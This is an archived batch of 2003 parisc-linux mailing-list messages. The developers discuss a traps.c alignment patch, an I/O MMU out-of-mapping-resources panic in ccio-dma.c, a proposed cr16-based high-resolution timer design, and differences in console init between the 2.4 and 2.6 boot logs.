iD8DBQE/gYy9Hb1edYOZ4bsRAgAIAJ9BJ0/HYZqdcauSgR1W+3i2Qz4S5QCfZhny
CR06Y8Rr7J7J86UmrAguDu0=
=0jXQ
-----END PGP SIGNATURE-----

--qpqR4wE1CEr+Roqx--


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Mon, 6 Oct 2003 18:21:50 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000DD78@ocpmta1.freegates.net>
References: <20031006143319.GC27512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622849 32062 80.91.229.3 (22 Nov 2014 02:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:49 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 10:21:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BA0B48B2
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 10:21:55 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A6Y7L-0002FK-00; Mon, 06 Oct 2003 18:21:51 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 6 Oct 2003 18:21:50 +0200
In-Reply-To: <20031006143319.GC27512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19740

>>
>>On Sun, Oct 05, 2003 at 03:06:48PM +0000, Joel Soete wrote:
>> Hi Carlos and all,
>> 
>> Regarding a bit more about this crash dump, I figure out that your patch

>> ><http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017565.html>

> 
>>as not yet 'aligned' in 2.6.
>> So may I suggest you this first draft:
>
>The draft looks good. I'll merge it into 2.6 today and test on my
>system.

Finaly it works on my c110 and also on a b180l :)

But, as we could awaiting when such code=13 (conditional trap iirc), occurs
in kernel mode (as on my b2k or Max's c3k) the kernel hang without advise
:(

Thanks for your attention,
    Joel


-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Mon, 6 Oct 2003 11:28:56 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20031006172856.GB19370@dsl2.external.hp.com>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net> <3F803388.5090304@tiscali.be> <3F804FC9.9040401@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622849 32070 80.91.229.3 (22 Nov 2014 02:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:49 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 11:29:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 27D694840; Mon,  6 Oct 2003 11:29:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F804FC9.9040401@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19741

On Sun, Oct 05, 2003 at 05:07:21PM +0000, Joel Soete wrote:
> hmm don't think if it's related but just in case:
> I was just copying my kernel tree with 'tar cslpf - 
> linux-2.6.0-test6-pa6 | ( cd Work ; tar xslpf -)' when
> 
> Kernel panic: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O M.

You ran out of mapping resources.
        panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n",
	              __FUNCTION__);

> I just retry same operation on the same system with same kernel but 
> doesn't occurs a second time?

Not surprising. The bitmap search will fail if everything gets
mapped "sparsely" or we try to search for a large mapping (>32K, ie more
than 8 pages) but can't find it. If this is repeatible problem, change

	/* Ratio of Host MEM to IOV Space size */
	static unsigned long ccio_mem_ratio = 4;

in drivers/parisc/ccio-dma.c (2.6 kernel) to 2.

One patch would be welcome here: figure out a threshold when
allocations for single pages should share an 8-page "chunk"
(effectively one TLB entry).  E.g. differentiate between LAN
and SCSI requests.  LAN typically wants 1 entry (1500 byte MTU)
unless someone starts testing "Large Send" and is very "linear"
in it's DMA behavior (one DMA stream at a time).  SCSI typically
wants 64k/128k (16 or 32 entries), has lots of those, and any one
of those could be the "next" DMA stream. ie thrashing the IO TLB
is much more likely with SCSI than LAN and we should allocate
entries differently based on that.

The patch might be something like:
	if ((pci_dev->class & MASK) == PCI_BASE_CLASS_NETWORK) {
	...

in the right places to use a different (and new?) search loop.

grant


From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Mon, 6 Oct 2003 13:31:23 -0400
Lines: 141
Approved: news@gmane.org
Message-ID: <20031006173123.GD27512@systemhalted>
References: <20031006142006.GB27512@systemhalted> <3F5CB6FB0000DCF3@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622849 32074 80.91.229.3 (22 Nov 2014 02:20:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	James Bottomley <James.Bottomley@steeleye.com>,
	Randolph Chung <tausq@debian.org>
To: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 11:34:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CACF64840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 11:34:33 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A6ZCd-0007fB-00; Mon, 06 Oct 2003 13:31:23 -0400
Content-Disposition: inline
In-Reply-To: <3F5CB6FB0000DCF3@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19742

On Mon, Oct 06, 2003 at 05:22:15PM +0200, Joel Soete wrote:
> >>
> >>On Sun, Oct 05, 2003 at 03:43:16PM +0000, Joel Soete wrote:
> >> +        spin_lock_irq(&pdc_lock);
> >> +        retval = mem_pdc_call(PDC_TOD, PDC_TOD_ITIMER, 
> >> __pa(pdc_result), 0);
> >> +        convert_to_wide(pdc_result);
> >
> >Your mailer is folding lines.
> 
> hmm mozilla? i think much more an error in cup and paste between a xterm
> and mozilla: my bad sorry (i just forgot to attach the file)
> 
> >Aside from that the patch looks interesting.
> 
> Thanks :)
> 
> >It could be used to find
> >the rate at which cr16 is running, and then we can use that as an HP
> >timer into userspace.
> 
> Yes, still have to find out how cr16 is init (mtctl(16,...) i presume but
> which  value?) and also I still have to see how to use data in userspace?

The issue is that cr16 is going to overrun at some point. We need to
track the overrun to track an accurate tick count. If we used another
32-bit quantity to tick on every cr16 overrun then we'd get overrun 
for this value in the range of ~800 years.

Pseudo 64-bit clock:

cr16 tick tick tick ... 2^32, 0, 1, 2 ...
crOV 0 ................ 0,    1, ........

So we add code to the jiffie update to see if cr16 has overrun, if it
has we update the overrun counter. You can then use the current cr16,
the overrun counter, and the bootup cr16 to calculate time accurate to
your CPU's MHz. On my 650MHz box that's somewhere near the 2 ns mark.

We need a way to calculate a difference between two times:

NOTES: No locks needed since I'm not updating anything, just reading.

==== Kernel view ====
Kernel Light weight syscall: get_current_diff(old_cr16, old_overrun,
                                              &delta_cr16, &delta_overrun)
input:
	old_cr16
	old_overrun

- Disable interrupts
- Get CPU #
 - Get Bootup cr16 for cpu (boot_cr16)

 /* Comprise a pseudo-64 bit clock */
 - Get Overrun cr16 for cpu (overrun_cr16)
 - Get Current cr16 for cpu (current_cr16)

 /* Does normalization go away if we can accurately sync all the
    cpu cr16's at bootup? Re: Grant's discussion about loop and
    sync */

 /* Normalize based on boot_cr16 (And drift?) */
 if ( boot_cr16 > current_cr16 ){
    new_overrun = overrun_cr16 - 1;
    new_cr16 = (2<<32) - (boot_cr16 - current_cr16); 
 } else {
    new_overrun = overrun_cr16;
    new_cr16 = current_cr16 - boot_cr16;
 }

 /* overrun offset (~800 year period on 650MHz with 32-bit clock) */
 if( new_overrun > old_overrun ){
   /* First overrun is calculated by -ve delta_cr16, so -1 */
   delta_overrun = new_overrun - old_overrun - 1;
 }

 /* cr16 underflow? (~6s period on 650MHz with 32-bit clock) */
 if( old_cr16 > new_cr16 ){
   /* Adjust for 1 overrun */
   delta_cr16 = (2<<32) - (old_cr16 - new_cr16);
 } else {
   delta_cr16 = new_cr16 - old_cr16;
 }
 /* WARNING: ADJUST FOR TIME TAKEN IN THIS ROUTINE? */

output:
	delta_cr16
	delta_overrun

- Enable interrupts 
====
Kernel Light Weight Syscall: get_current_time(&user_cr16, &user_overrun)

- Disable interrupts
- Get CPU #
 - Get Bootup cr16 for cpu (boot_cr16)

 /* Comprise a pseudo-64 bit clock */
 - Get Overrun cr16 for cpu (overrun_cr16)
 - Get Current cr16 for cpu (current_cr16)

 /* Does normalization go away if we can accurately sync all the
    cpu cr16's at bootup? Re: Grant's discussion about loop and
    sync */

 /* Normalize based on boot_cr16 (And drift?) */
 if ( boot_cr16 > current_cr16 ){
    *user_overrun = overrun_cr16 - 1;
    *user_cr16 = (2<<32) - (boot_cr16 - current_cr16); 
 } else {
    *user_overrun = overrun_cr16;
    *user_cr16 = current_cr16 - boot_cr16;
 }
 /* WARNING: ADJUST FOR TIME TAKEN IN THIS ROUTINE? */

- Enable interrupts
Output:
	user_cr16
	user_overrun
====

==== Userspace View ====

cr16_bitwidth=`/proc/cpuinfo | grep cr16_bitwidth | sed 's/cr16_bitwidth=//g'`
cr16_period=`/proc/cpuinfo | grep cr16_period | sed 's/cr16_period=//g'`

get_current_time(&user_cr16, &user_overrun);
... Code ...
get_current_diff(user_cr16, user_overrun, &delta_cr16, &delta_overrun);

nano_diff = delta_overrun * (2<<cr16_bitwidth) * cr16_period +
            delta_cr16 * cr16_period

====

With a 64-bit kernel and cpu these problem all go away. 

c.



From - Thu Nov 08 21:29:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Mon, 6 Oct 2003 13:34:01 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20031006173401.GE27512@systemhalted>
References: <20031006143319.GC27512@systemhalted> <3F5CB6FB0000DD78@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622850 32076 80.91.229.3 (22 Nov 2014 02:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:50 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  6 11:37:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B1E04840
	for <parisc-linux@lists.parisc-linux.org>; Mon,  6 Oct 2003 11:37:16 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A6ZFB-0007g3-00; Mon, 06 Oct 2003 13:34:01 -0400
Content-Disposition: inline
In-Reply-To: <3F5CB6FB0000DD78@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19743

On Mon, Oct 06, 2003 at 06:21:50PM +0200, Joel Soete wrote:
> Finaly it works on my c110 and also on a b180l :)
> 
> But, as we could awaiting when such code=13 (conditional trap iirc), occurs
> in kernel mode (as on my b2k or Max's c3k) the kernel hang without advise
> :(

It happens in "kernel mode" ? That should trigger an oops? It's a SIGFPE
for the kernel :)

c.



From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Tue, 7 Oct 2003 09:25:57 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <3F5CC41F0000E8B7@ocpmta3.freegates.net>
References: <20031006172856.GB19370@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622850 32079 80.91.229.3 (22 Nov 2014 02:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:50 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 01:26:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBD0A48C3
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 01:26:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A6mEI-0002la-00; Tue, 07 Oct 2003 09:25:58 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 7 Oct 2003 09:25:57 +0200
In-Reply-To: <20031006172856.GB19370@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19744

Grant,

As mentionned I couldn't reproduced just after this panic.
If the event re-occurs I will try first chaning 'ccio_mem_ratio' and let
you inform of progress.

Thanks a lot,
    Joel


>-- Original Message --
>Date: Mon, 6 Oct 2003 11:28:56 -0600
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
>	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6
>on b2k finaly crash]
>
>
>On Sun, Oct 05, 2003 at 05:07:21PM +0000, Joel Soete wrote:
> hmm don't think if it's related but just in case:
> I was just copying my kernel tree with 'tar cslpf - 
> linux-2.6.0-test6-pa6 | ( cd Work ; tar xslpf -)' when
> 
> Kernel panic: driv
>rs/parisc/ccio-dma.c: ccio_alloc_range() I/O M.

You ran out of mapping resources.
        panic(__FILE__ ": %s() I/O MMU is out of mapping resources.\n",
	              __FUNCTION__);

> I just retry same operation on the same system with same k
>rnel but 
> doesn't occurs a second time?

Not surprising. The bitmap search will fail if everything gets
mapped "sparsely" or we try to search for a large mapping (>32K, ie more
than 8 pages) but can't find it. If this is repeatible problem, chan
>e

	/* Ratio of Host MEM to IOV Space size */
	static unsigned long ccio_mem_ratio = 4;

in drivers/parisc/ccio-dma.c (2.6 kernel) to 2.

One patch would be welcome here: figure out a threshold when
allocations for single pages should share an 
>-page "chunk"
(effectively one TLB entry).  E.g. differentiate between LAN
and SCSI requests.  LAN typically wants 1 entry (1500 byte MTU)
unless someone starts testing "Large Send" and is very "linear"
in it's DMA behavior (one DMA stream at a tim
>).  SCSI typically
wants 64k/128k (16 or 32 entries), has lots of those, and any one
of those could be the "next" DMA stream. ie thrashing the IO TLB
is much more likely with SCSI than LAN and we should allocate
entries differently based on that.

>
The patch might be something like:
	if ((pci_dev->class & MASK) == PCI_BASE_CLASS_NETWORK) {
	...

in the right places to use a different (and new?) search loop.

grant



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Tue, 7 Oct 2003 11:49:52 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F5CC41F0000EAB9@ocpmta3.freegates.net>
References: <20031006173401.GE27512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622850 32080 80.91.229.3 (22 Nov 2014 02:20:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:50 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 03:50:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88D454840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 03:50:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A6oTY-00062R-00; Tue, 07 Oct 2003 11:49:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 7 Oct 2003 11:49:52 +0200
In-Reply-To: <20031006173401.GE27512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19745

Hi Carlos,

>>
>>On Mon, Oct 06, 2003 at 06:21:50PM +0200, Joel Soete wrote:
>> Finaly it works on my c110 and also on a b180l :)
>> 
>> But, as we could awaiting when such code=13 (conditional trap iirc), occurs
>> in kernel mode (as on my b2k or Max's c3k) the kernel
>>hang without advise
>> :(
>
>It happens in "kernel mode" ?

That is what said the original oops (a bug in init of console)?

> That should trigger an oops? It's a SIGFPE for the kernel :)

I so need more work

Thanks,
    Joel


-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.6.0-test6-pa6 on b2k finaly crash
Date: Tue, 7 Oct 2003 11:58:55 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3F5CC41F0000EAE2@ocpmta3.freegates.net>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622851 32341 80.91.229.3 (22 Nov 2014 02:20:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  7 03:58:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 029E848C7
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Oct 2003 03:58:56 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A6ocK-0002BB-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 07 Oct 2003 11:58:56 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 7 Oct 2003 11:58:55 +0200
In-Reply-To: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19746

Hi all,

I come back to this bug to just notice that in the init of 2.4 it was:
[...]
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xf0400804.
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
[...]

so 'superio_init' (if i don't mistake)

but here in 2.6:
[...]
Soft power switch enabled, polling @ 0xf0400804.
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision
[...]

